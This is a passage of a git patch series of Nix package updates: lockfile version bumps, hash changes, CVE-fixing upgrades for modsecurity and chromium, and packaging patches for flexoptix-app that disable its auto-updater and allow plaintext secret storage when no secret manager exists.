       "dependency": "transitive",
       "description": {
         "name": "url_launcher_windows",
-        "sha256": "ecf9725510600aa2bb6d7ddabe16357691b6d2805f66216a97d1b881e21beff7",
+        "sha256": "3284b6d2ac454cf34f114e1d3319866fdd1e19cdc329999057e44ffe936cfa77",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.1"
+      "version": "3.1.4"
     },
     "uuid": {
       "dependency": "direct main",
@@ -1774,31 +1810,31 @@
       "dependency": "transitive",
       "description": {
         "name": "vector_graphics",
-        "sha256": "4ac59808bbfca6da38c99f415ff2d3a5d7ca0a6b4809c71d9cf30fba5daf9752",
+        "sha256": "44cc7104ff32563122a929e4620cf3efd584194eec6d1d913eb5ba593dbcf6de",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.10+1"
+      "version": "1.1.18"
     },
     "vector_graphics_codec": {
       "dependency": "transitive",
       "description": {
         "name": "vector_graphics_codec",
-        "sha256": "f3247e7ab0ec77dc759263e68394990edc608fb2b480b80db8aa86ed09279e33",
+        "sha256": "99fd9fbd34d9f9a32efd7b6a6aae14125d8237b10403b422a6a6dfeac2806146",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.10+1"
+      "version": "1.1.13"
     },
     "vector_graphics_compiler": {
       "dependency": "transitive",
       "description": {
         "name": "vector_graphics_compiler",
-        "sha256": "18489bdd8850de3dd7ca8a34e0c446f719ec63e2bab2e7a8cc66a9028dd76c5a",
+        "sha256": "1b4b9e706a10294258727674a340ae0d6e64a7231980f9f9a3d12e4b42407aad",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.10+1"
+      "version": "1.1.16"
     },
     "vector_math": {
       "dependency": "transitive",
@@ -1814,51 +1850,51 @@
       "dependency": "transitive",
       "description": {
         "name": "video_player",
-        "sha256": "fbf28ce8bcfe709ad91b5789166c832cb7a684d14f571a81891858fefb5bb1c2",
+        "sha256": "7d78f0cfaddc8c19d4cb2d3bebe1bfef11f2103b0a03e5398b303a1bf65eeb14",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.8.2"
+      "version": "2.9.5"
     },
     "video_player_android": {
       "dependency": "transitive",
       "description": {
         "name": "video_player_android",
-        "sha256": "7f8f25d7ad56819a82b2948357f3c3af071f6a678db33833b26ec36bbc221316",
+        "sha256": "391e092ba4abe2f93b3e625bd6b6a6ec7d7414279462c1c0ee42b5ab8d0a0898",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.11"
+      "version": "2.7.16"
     },
     "video_player_avfoundation": {
       "dependency": "transitive",
       "description": {
         "name": "video_player_avfoundation",
-        "sha256": "309e3962795e761be010869bae65c0b0e45b5230c5cee1bec72197ca7db040ed",
+        "sha256": "9ee764e5cd2fc1e10911ae8ad588e1a19db3b6aa9a6eb53c127c42d3a3c3f22f",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.5.6"
+      "version": "2.7.1"
     },
     "video_player_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "video_player_platform_interface",
-        "sha256": "236454725fafcacf98f0f39af0d7c7ab2ce84762e3b63f2cbb3ef9a7e0550bc6",
+        "sha256": "df534476c341ab2c6a835078066fc681b8265048addd853a1e3c78740316a844",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "6.2.2"
+      "version": "6.3.0"
     },
     "video_player_web": {
       "dependency": "transitive",
       "description": {
         "name": "video_player_web",
-        "sha256": "34beb3a07d4331a24f7e7b2f75b8e2b103289038e07e65529699a671b6a6e2cb",
+        "sha256": "e8bba2e5d1e159d5048c9a491bb2a7b29c535c612bb7d10c1e21107f5bd365ba",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.3"
+      "version": "2.3.5"
     },
     "visibility_detector": {
       "dependency": "direct main",
@@ -1874,61 +1910,61 @@
       "dependency": "direct main",
       "description": {
         "name": "wakelock_plus",
-        "sha256": "f268ca2116db22e57577fb99d52515a24bdc1d570f12ac18bb762361d43b043d",
+        "sha256": "104d94837bb28c735894dcd592877e990149c380e6358b00c04398ca1426eed4",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.4"
+      "version": "1.2.1"
     },
     "wakelock_plus_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "wakelock_plus_platform_interface",
-        "sha256": "40fabed5da06caff0796dc638e1f07ee395fb18801fbff3255a2372db2d80385",
+        "sha256": "e10444072e50dbc4999d7316fd303f7ea53d31c824aa5eb05d7ccbdd98985207",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.0"
+      "version": "1.2.3"
     },
     "watcher": {
       "dependency": "transitive",
       "description": {
         "name": "watcher",
-        "sha256": "3d2ad6751b3c16cf07c7fca317a1413b3f26530319181b37e3b9039b84fc01d8",
+        "sha256": "0b7fd4a0bbc4b92641dbf20adfd7e3fd1398fe17102d94b674234563e110088a",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.0"
+      "version": "1.1.2"
     },
     "web": {
       "dependency": "transitive",
       "description": {
         "name": "web",
-        "sha256": "4188706108906f002b3a293509234588823c8c979dc83304e229ff400c996b05",
+        "sha256": "97da13628db363c635202ad97068d47c5b8aa555808e7a9411963c533b449b27",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.4.2"
+      "version": "0.5.1"
     },
     "web_socket_channel": {
       "dependency": "transitive",
       "description": {
         "name": "web_socket_channel",
-        "sha256": "d88238e5eac9a42bb43ca4e721edba3c08c6354d4a53063afaa568516217621b",
+        "sha256": "58c6666b342a38816b2e7e50ed0f1e261959630becd4c879c4f26bfa14aa5a42",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.0"
+      "version": "2.4.5"
     },
     "win32": {
       "dependency": "direct main",
       "description": {
         "name": "win32",
-        "sha256": "68d1e89a91ed61ad9c370f9f8b6effed9ae5e0ede22a270bdfa6daf79fc2290a",
+        "sha256": "daf97c9d80197ed7b619040e86c8ab9a9dad285e7671ee7390f9180cc828a51e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "5.5.4"
+      "version": "5.10.1"
     },
     "win32_registry": {
       "dependency": "transitive",
@@ -1966,11 +2002,11 @@
       "dependency": "transitive",
       "description": {
         "name": "xdg_directories",
-        "sha256": "faea9dee56b520b55a566385b84f2e8de55e7496104adada9962e0bd11bcff1d",
+        "sha256": "7a3f37b05d989967cdddcbb571f1ea834867ae2faa29725fd085180e0883aa15",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.0.4"
+      "version": "1.1.0"
     },
     "xml": {
       "dependency": "transitive",
@@ -1982,35 +2018,55 @@
       "source": "hosted",
       "version": "6.5.0"
     },
+    "xterm": {
+      "dependency": "direct main",
+      "description": {
+        "name": "xterm",
+        "sha256": "168dfedca77cba33fdb6f52e2cd001e9fde216e398e89335c19b524bb22da3a2",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "4.0.0"
+    },
     "yaml": {
       "dependency": "transitive",
       "description": {
         "name": "yaml",
-        "sha256": "75769501ea3489fca56601ff33454fe45507ea3bfb014161abc3b43ae25989d5",
+        "sha256": "b9da305ac7c39faa3f030eccd175340f968459dae4af175130b3fc47e40d76ce",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.2"
+      "version": "3.1.3"
     },
     "yaml_edit": {
       "dependency": "transitive",
       "description": {
         "name": "yaml_edit",
-        "sha256": "1579d4a0340a83cf9e4d580ea51a16329c916973bffd5bd4b45e911b25d46bfd",
+        "sha256": "fb38626579fb345ad00e674e2af3a5c9b0cc4b9bfb8fd7f7ff322c7c9e62aef5",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.1"
+      "version": "2.2.2"
+    },
+    "zmodem": {
+      "dependency": "transitive",
+      "description": {
+        "name": "zmodem",
+        "sha256": "3b7e5b29f3a7d8aee472029b05165a68438eff2f3f7766edf13daba1e297adbf",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.0.6"
     },
     "zxing2": {
       "dependency": "direct main",
       "description": {
         "name": "zxing2",
-        "sha256": "a042961441bd400f59595f9125ef5fca4c888daf0ea59c17f41e0e151f8a12b5",
+        "sha256": "2677c49a3b9ca9457cb1d294fd4bd5041cac6aab8cdb07b216ba4e98945c684f",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.2.1"
+      "version": "0.2.4"
     }
   },
   "sdks": {

From 16f4438573f5e0945c0b54332ba01d6436dc2ede Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andr=C3=A9=20Silva?= <andrerfosilva@gmail.com>
Date: Sat, 19 Jul 2025 11:58:06 +0100
Subject: [PATCH 3463/4511] proton-ge-bin: GE-Proton10-9 -> GE-Proton10-10

(cherry picked from commit f12ceef33f4fc6623d9cf19302175fe3377a81c0)
---
 pkgs/by-name/pr/proton-ge-bin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/proton-ge-bin/package.nix b/pkgs/by-name/pr/proton-ge-bin/package.nix
index bab83e3a3fb2..70fe74750f22 100644
--- a/pkgs/by-name/pr/proton-ge-bin/package.nix
+++ b/pkgs/by-name/pr/proton-ge-bin/package.nix
@@ -9,11 +9,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "proton-ge-bin";
-  version = "GE-Proton10-9";
+  version = "GE-Proton10-10";
 
   src = fetchzip {
     url = "https://github.com/GloriousEggroll/proton-ge-custom/releases/download/${finalAttrs.version}/${finalAttrs.version}.tar.gz";
-    hash = "sha256-DJ7bRjzJehSFIyBo+oJyyWui+a3udGxc38P9Hw+xU9U=";
+    hash = "sha256-TJbeyJA9feyaBIYt5hwVUAAdev0SnoIqvhV7groxcu4=";
   };
 
   dontUnpack = true;

From dfe90eaaa8a5394f6abca5d28504c8e6421f973e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andr=C3=A9=20Silva?= <andrerfosilva@gmail.com>
Date: Mon, 11 Aug 2025 10:18:55 +0100
Subject: [PATCH 3464/4511] proton-ge-bin: GE-Proton10-10 -> GE-Proton10-11

(cherry picked from commit 9afa01eff6f93529b117c00742b09d70317e511a)
---
 pkgs/by-name/pr/proton-ge-bin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/proton-ge-bin/package.nix b/pkgs/by-name/pr/proton-ge-bin/package.nix
index 70fe74750f22..1e62be6dfb21 100644
--- a/pkgs/by-name/pr/proton-ge-bin/package.nix
+++ b/pkgs/by-name/pr/proton-ge-bin/package.nix
@@ -9,11 +9,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "proton-ge-bin";
-  version = "GE-Proton10-10";
+  version = "GE-Proton10-11";
 
   src = fetchzip {
     url = "https://github.com/GloriousEggroll/proton-ge-custom/releases/download/${finalAttrs.version}/${finalAttrs.version}.tar.gz";
-    hash = "sha256-TJbeyJA9feyaBIYt5hwVUAAdev0SnoIqvhV7groxcu4=";
+    hash = "sha256-gTf8k0fx0KGCHVTQLkZli/CvZMkVVNpgBDpI/eiuynE=";
   };
 
   dontUnpack = true;

From 588e6e3a01d08d48bd7ec62d3bce17dd0aae0cd6 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Wed, 13 Aug 2025 04:26:05 +0200
Subject: [PATCH 3465/4511] microcode-intel: use finalAttrs

Signed-off-by: Felix Singer <felixsinger@posteo.net>
---
 pkgs/by-name/mi/microcode-intel/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/mi/microcode-intel/package.nix b/pkgs/by-name/mi/microcode-intel/package.nix
index f5bc90efae59..cec14d39734d 100644
--- a/pkgs/by-name/mi/microcode-intel/package.nix
+++ b/pkgs/by-name/mi/microcode-intel/package.nix
@@ -6,14 +6,14 @@
   iucode-tool,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "microcode-intel";
   version = "20250512";
 
   src = fetchFromGitHub {
     owner = "intel";
     repo = "Intel-Linux-Processor-Microcode-Data-Files";
-    rev = "microcode-${version}";
+    rev = "microcode-${finalAttrs.version}";
     hash = "sha256-xasV1w6+8qnD+RLWsReMo+xm7a9nguV2st3IC4FURDU=";
   };
 
@@ -35,7 +35,7 @@ stdenv.mkDerivation rec {
 
   meta = with lib; {
     homepage = "https://www.intel.com/";
-    changelog = "https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases/tag/${src.rev}";
+    changelog = "https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases/tag/${finalAttrs.src.rev}";
     description = "Microcode for Intel processors";
     license = licenses.unfreeRedistributableFirmware;
     platforms = [
@@ -44,4 +44,4 @@ stdenv.mkDerivation rec {
     ];
     maintainers = with maintainers; [ felixsinger ];
   };
-}
+})

From d711b96f3ab85111ced2fc85bc72d8cc3d6508c0 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Tue, 12 Aug 2025 19:57:33 +0200
Subject: [PATCH 3466/4511] microcode-intel: 20250512 -> 20250812

https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases/tag/microcode-20250812

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit 4684b484d5350655b5998ef508fffed363026120)
---
 pkgs/by-name/mi/microcode-intel/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microcode-intel/package.nix b/pkgs/by-name/mi/microcode-intel/package.nix
index cec14d39734d..815329857cfa 100644
--- a/pkgs/by-name/mi/microcode-intel/package.nix
+++ b/pkgs/by-name/mi/microcode-intel/package.nix
@@ -8,13 +8,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "microcode-intel";
-  version = "20250512";
+  version = "20250812";
 
   src = fetchFromGitHub {
     owner = "intel";
     repo = "Intel-Linux-Processor-Microcode-Data-Files";
     rev = "microcode-${finalAttrs.version}";
-    hash = "sha256-xasV1w6+8qnD+RLWsReMo+xm7a9nguV2st3IC4FURDU=";
+    hash = "sha256-FfHSAMu4cvJKOjufr5ZwYHHn8dYa77jR5Br65vGP5Y8=";
   };
 
   nativeBuildInputs = [

From 952c02a1671dc18d1c66f08c87e073afb0cf8f24 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= <sandro.jaeckel@gmail.com>
Date: Tue, 12 Aug 2025 15:47:34 +0200
Subject: [PATCH 3467/4511] hydra: 0-unstable-2025-08-05 ->
 0-unstable-2025-08-12

(cherry picked from commit e6313a74654736a5c934beccfd35c87ce37f2b41)
---
 pkgs/by-name/hy/hydra/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/hy/hydra/package.nix b/pkgs/by-name/hy/hydra/package.nix
index 38247f95661a..7639ae1f5118 100644
--- a/pkgs/by-name/hy/hydra/package.nix
+++ b/pkgs/by-name/hy/hydra/package.nix
@@ -131,14 +131,14 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "hydra";
-  version = "0-unstable-2025-08-05";
+  version = "0-unstable-2025-08-12";
   # nixpkgs-update: no auto update
 
   src = fetchFromGitHub {
     owner = "NixOS";
     repo = "hydra";
-    rev = "79ba8fdd04ba53826aa9aaba6e25fd0d6952b3b3";
-    hash = "sha256-h8UNR3LVrD313iX1OazDwIcMLksh0p6oJv9msEfjS0E=";
+    rev = "f7bda020c6144913f134ec616783e57817f7686f";
+    hash = "sha256-5fHXCFSCe2XQoXjqk25AIQo/5aUfaORf9lIszQ9KTyU=";
   };
 
   outputs = [

From 7c27ce05a1b2c6b73a2d69b16f77d9f13775eda5 Mon Sep 17 00:00:00 2001
From: Vincent Laporte <Vincent.Laporte@gmail.com>
Date: Tue, 12 Aug 2025 17:40:27 +0200
Subject: [PATCH 3468/4511] fstar: fix installation of OCaml libraries

Fixes #415308

(cherry picked from commit d9925285842828a696ec6ecd69b3a89aae93d2f6)
---
 pkgs/by-name/fs/fstar/package.nix | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fs/fstar/package.nix b/pkgs/by-name/fs/fstar/package.nix
index 5d2561fbb7e7..ffb82e70ed20 100644
--- a/pkgs/by-name/fs/fstar/package.nix
+++ b/pkgs/by-name/fs/fstar/package.nix
@@ -45,8 +45,11 @@ ocamlPackages.buildDunePackage rec {
   '';
 
   buildInputs = with ocamlPackages; [
+    memtrace
+  ];
+
+  propagatedBuildInputs = with ocamlPackages; [
     batteries
-    menhir
     menhirLib
     pprint
     ppx_deriving
@@ -57,7 +60,6 @@ ocamlPackages.buildDunePackage rec {
     stdint
     yojson
     zarith
-    memtrace
     mtime
   ];
 
@@ -79,6 +81,10 @@ ocamlPackages.buildDunePackage rec {
 
     make install
 
+    # Ensure ocamlfind can locate fstar OCaml libraries
+    mkdir -p $OCAMLFIND_DESTDIR
+    ln -s -t $OCAMLFIND_DESTDIR/ $out/lib/fstar
+
     remove-references-to -t '${ocamlPackages.ocaml}' $out/bin/fstar.exe
 
     for binary in $out/bin/*; do

From 940d6132e6d2453a04e308800c8c6aeb7356d61b Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sun, 1 Jun 2025 22:59:25 +0200
Subject: [PATCH 3469/4511] modsecurity_standalone: 2.9.8 -> 2.9.12

Fixes CVE-2025-47947, CVE 2025-48866, CVE-2025-52891 and CVE 2025-54571.

https://github.com/owasp-modsecurity/ModSecurity/releases/tag/v2.9.9
https://github.com/owasp-modsecurity/ModSecurity/releases/tag/v2.9.10
https://github.com/owasp-modsecurity/ModSecurity/releases/tag/v2.9.11
https://github.com/owasp-modsecurity/ModSecurity/releases/tag/v2.9.12
(cherry picked from commit a665b0aca2b51e394448ad79e8f3791b0f84ca49)
---
 .../mo/modsecurity_standalone/package.nix     | 28 ++-----------------
 1 file changed, 2 insertions(+), 26 deletions(-)

diff --git a/pkgs/by-name/mo/modsecurity_standalone/package.nix b/pkgs/by-name/mo/modsecurity_standalone/package.nix
index 064e589f0887..58f6d6bbe899 100644
--- a/pkgs/by-name/mo/modsecurity_standalone/package.nix
+++ b/pkgs/by-name/mo/modsecurity_standalone/package.nix
@@ -13,7 +13,6 @@
   luaSupport ? false,
   lua5,
   perl,
-  fetchpatch,
   versionCheckHook,
 }:
 
@@ -24,13 +23,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "modsecurity";
-  version = "2.9.8";
+  version = "2.9.12";
 
   src = fetchFromGitHub {
     owner = "owasp-modsecurity";
     repo = "modsecurity";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-fJ5XeO5m5LlImAuzIvXVVWkc9awbaRI3NWWOOwGrshI=";
+    hash = "sha256-scMOiu8oI3+VcXe05gLNQ8ILmnP4iwls8ZZ9r+3ei5Y=";
   };
 
   nativeBuildInputs = [
@@ -61,11 +60,6 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  env.NIX_CFLAGS_COMPILE = toString [
-    # msc_test.c:86:5: error: initialization of 'int' from 'void *' makes integer from pointer without a cast []
-    "-Wno-error=int-conversion"
-  ];
-
   outputs = [
     "out"
     "nginx"
@@ -74,24 +68,6 @@ stdenv.mkDerivation (finalAttrs: {
     # by default modsecurity's install script copies compiled output to httpd's modules folder
     # this patch removes those lines
     ./Makefile.am.patch
-    # remove when 2.9.9 is released
-    (fetchpatch {
-      name = "move-id_log";
-      url = "https://github.com/owasp-modsecurity/ModSecurity/commit/149376377ecef9ecc36ee81d5b666fc0ac7e249b.patch";
-      hash = "sha256-KjQGqSBt/u9zPZY1aSIupnYHleJbsOAOk3Y2bNOyRxk=";
-    })
-    # remove when 2.9.9 is released
-    (fetchpatch {
-      name = "gcc-format-security";
-      url = "https://github.com/owasp-modsecurity/ModSecurity/commit/cddd9a7eb5585a9b3be1f9bdcadcace8f60f5808.patch";
-      hash = "sha256-H1wkZQ5bTQIRhlEvvvj7YCBi9qndRgHgKTnE9Cusq3I=";
-    })
-    # remove when 2.9.9 is released
-    (fetchpatch {
-      name = "gcc-incompatible-pointer-type";
-      url = "https://github.com/owasp-modsecurity/ModSecurity/commit/4919814a5cf0e7911f71856ed872b0e73b659a0a.patch";
-      hash = "sha256-9JzCtiLf43xw6i4NqQpok37es+kuWXZWKdJum28Hx4M=";
-    })
   ];
 
   doCheck = true;

From 4083bdcd8ee33ff446bc7f3011d8eeab71f64c19 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Janne=20He=C3=9F?= <janne@hess.ooo>
Date: Mon, 11 Aug 2025 14:40:32 +0200
Subject: [PATCH 3470/4511] flexoptix-app: 5.21.2-latest -> 5.48.0-latest

(cherry picked from commit c7ec5706d61dc3626233d6e0357d376ff63d0eb5)
---
 .../allow-no-secret-manager.patch             |  9 ++++++
 .../fl/flexoptix-app/disable-autoupdate.patch | 28 ++++++++-----------
 pkgs/by-name/fl/flexoptix-app/package.nix     | 26 +++++++++++++----
 3 files changed, 42 insertions(+), 21 deletions(-)
 create mode 100644 pkgs/by-name/fl/flexoptix-app/allow-no-secret-manager.patch

diff --git a/pkgs/by-name/fl/flexoptix-app/allow-no-secret-manager.patch b/pkgs/by-name/fl/flexoptix-app/allow-no-secret-manager.patch
new file mode 100644
index 000000000000..30b676d8f403
--- /dev/null
+++ b/pkgs/by-name/fl/flexoptix-app/allow-no-secret-manager.patch
@@ -0,0 +1,9 @@
+--- app/node_modules/rme-electron/main/fo-storage/models/fo-storage-file.js
++++ app/node_modules/rme-electron/main/fo-storage/models/fo-storage-file.js
+@@ -25,6 +25,7 @@
+		if (!this.#isPlainObject(initialContent)) {
+			throw new Error("Content must be a plain object");
+		}
++		safeStorage.setUsePlainTextEncryption(true);
+		this.#content = initialContent;
+	}
diff --git a/pkgs/by-name/fl/flexoptix-app/disable-autoupdate.patch b/pkgs/by-name/fl/flexoptix-app/disable-autoupdate.patch
index d71133951e72..c3b2bdec8185 100644
--- a/pkgs/by-name/fl/flexoptix-app/disable-autoupdate.patch
+++ b/pkgs/by-name/fl/flexoptix-app/disable-autoupdate.patch
@@ -1,16 +1,12 @@
---- app/electron/jsComponents/mainWindowEvents.js	2024-02-18 12:53:41.115773007 -0500
-+++ app/electron/jsComponents/mainWindowEvents.js2	2024-02-18 23:22:20.003280203 -0500
-@@ -128,7 +128,12 @@
- 
- 	if (app.isPackaged) {
- 		global.mainWindow.webContents.once("did-finish-load", function () {
--			autoUpdater.checkForUpdates();
-+			global.mainWindow.loadURL(
-+				url.format({
-+					...global.APPLICATION_URL_OBJECT,
-+					slashes: true,
-+				}),
-+			);
- 		});
- 	} else {
- 		global.mainWindow.webContents.openDevTools();
+--- app/node_modules/electron-updater/out/AppUpdater.js
++++ app/node_modules/electron-updater/out/AppUpdater.js
+@@ -211,6 +211,9 @@
+      * Asks the server whether there is an update.
+      */
+     checkForUpdates() {
++        this.emit("update-not-available", null);
++        return true;
++
+         if (!this.isUpdaterActive()) {
+             return Promise.resolve(null);
+         }
diff --git a/pkgs/by-name/fl/flexoptix-app/package.nix b/pkgs/by-name/fl/flexoptix-app/package.nix
index 402f7cc52d0c..d37ec9824bff 100644
--- a/pkgs/by-name/fl/flexoptix-app/package.nix
+++ b/pkgs/by-name/fl/flexoptix-app/package.nix
@@ -3,29 +3,42 @@
   appimageTools,
   fetchurl,
   asar,
+  python3,
 }:
 let
   pname = "flexoptix-app";
-  version = "5.21.2-latest";
+  version = "5.48.0-latest";
 
   src = fetchurl {
     name = "${pname}-${version}.AppImage";
     url = "https://flexbox.reconfigure.me/download/electron/linux/x64/FLEXOPTIX%20App.${version}.AppImage";
-    hash = "sha256-BnNRwD09CE1EZDg3Hn3khN4FZ8Hj5LLAunk+NKU5BJo=";
+    hash = "sha256-VSGfExus+4dDef6V1ZEATMBVCIb0JS459+yolx5sg3c=";
   };
 
   udevRules = fetchurl {
     url = "https://www.flexoptix.net/static/frontend/Flexoptix/default/en_US/files/99-tprogrammer.rules";
-    hash = "sha256-faowRYdrk88WUpOpaEfedzybBgxVRZhvAaYP9HAuzAE=";
+    hash = "sha256-/1ZtJT+1IMyYqw3N0bVJ/T3vbmex169lzx+SlY5WsnA=";
   };
 
   appimageContents = (appimageTools.extract { inherit pname version src; }).overrideAttrs (oA: {
     buildCommand = ''
       ${oA.buildCommand}
 
-      # Get rid of the autoupdater
+      # Remove left-over node-gyp executable symlinks
+      # https://github.com/nodejs/node-gyp/issues/2713
+      find $out/ -type l -name python3 -exec ln -sf ${python3.interpreter} {} \;
+
+      # Extract app to make it patchable
       ${asar}/bin/asar extract $out/resources/app.asar app
+
+      # Fix app crash when none of these secret managers is available: https://www.electronjs.org/docs/latest/api/safe-storage#safestoragegetselectedstoragebackend-linux
+      patch -p0 < ${./allow-no-secret-manager.patch}
+      # Get rid of the autoupdater
       patch -p0 < ${./disable-autoupdate.patch}
+
+      # Makes debugging easier: cp -r app $out/_app
+
+      # Repackage
       ${asar}/bin/asar pack app $out/resources/app.asar
     '';
   });
@@ -42,7 +55,10 @@ appimageTools.wrapAppImage {
     install -Dm444 ${appimageContents}/flexoptix-app.desktop -t $out/share/applications
     install -Dm444 ${appimageContents}/flexoptix-app.png -t $out/share/pixmaps
     substituteInPlace $out/share/applications/flexoptix-app.desktop \
-      --replace 'Exec=AppRun' "Exec=$out/bin/${pname} --"
+      --replace-fail 'Exec=AppRun' "Exec=$out/bin/${pname} --"
+
+    # For debugging
+    [[ -e ${appimageContents}/_app ]] && ln -s ${appimageContents}/_app $out
 
     # Add udev rules
     mkdir -p $out/lib/udev/rules.d

From c16aec21b142f6bf51b338f9a2859e1f511ac61c Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Wed, 13 Aug 2025 01:06:18 +0200
Subject: [PATCH 3471/4511] chromium,chromedriver: 139.0.7258.66 ->
 139.0.7258.127

https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_12.html

This update includes 6 security fixes.

CVEs:
CVE-2025-8879 CVE-2025-8880 CVE-2025-8901 CVE-2025-8881 CVE-2025-8882

(cherry picked from commit 034e28eb3104d78751a23035fdcf78c6424cf847)
---
 .../networking/browsers/chromium/info.json    | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index eb1b32f6892f..ce000998626a 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "139.0.7258.66",
+    "version": "139.0.7258.127",
     "chromedriver": {
-      "version": "139.0.7258.67",
-      "hash_darwin": "sha256-kWrlkFZ1X0n7h5GtnfZnKbT1zylVuaSCDMJA549LoEY=",
-      "hash_darwin_aarch64": "sha256-HWgR2CWj5/N2zPIIHXBnA1DoYe0+KAmScopNfMcYlzc="
+      "version": "139.0.7258.128",
+      "hash_darwin": "sha256-QHYwd9B47p3/Y3z/TYaUpNbCBenUrI7yXVsMUwtnifg=",
+      "hash_darwin_aarch64": "sha256-rwMRpEW+sQ6u/Y0rJWGw7UICfjZO8WQddOfzpqwcsnY="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "a62d329947691f76c376a873eae39f56381103c8",
-        "hash": "sha256-RWqOw0Kogz2GwbICet7NdcGnZMrkkE4bu70jU+tbYFQ=",
+        "rev": "5dc2cf9cf870d324cd9fba708f26d2572cc6d4d8",
+        "hash": "sha256-YcOVErOKKruc3kPuXhmeibo3KL+Rrny1FEwF769+aEU=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -96,8 +96,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "0145c376fadde16390298681252785f98ae90185",
-        "hash": "sha256-8ztvupTvp5v8lTq3eo/viR9X85qm+bw8299jxr6XslE="
+        "rev": "5f3636345f1d8afd495e2fcc474fd81e91c4866b",
+        "hash": "sha256-fx+QD0T85Js9jPQx2aghJU8UOL6WbR0bOkGY2i87A3w="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -401,8 +401,8 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "0ddc6630b3723b14b164752d46c27752f078ddd3",
-        "hash": "sha256-cs1+5vBEFPqzi1vbxiSgujrLIoaXZROZaRJq2gRdUrE="
+        "rev": "90c632fc6c01cd8637186c783ca8012bab3c3260",
+        "hash": "sha256-e+rUkNOakv6WQrgx1ozoJTynk/GZy1zdsnYX4oz+6ks="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
@@ -631,8 +631,8 @@
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "cbc694239b06ecf694676aba22d5263dbc23ee5e",
-        "hash": "sha256-5vIwNP9RbtUVtgKKDiZd6NVkR2Ed3DUqZWESTUM+fIs="
+        "rev": "2d6f1aa4be9c33b013c322b2bc9cd99a682243b6",
+        "hash": "sha256-VysJkpCRRYNdCStnXvo6wyMCv1gLHecMwefKiwypARc="
       },
       "src/third_party/smhasher/src": {
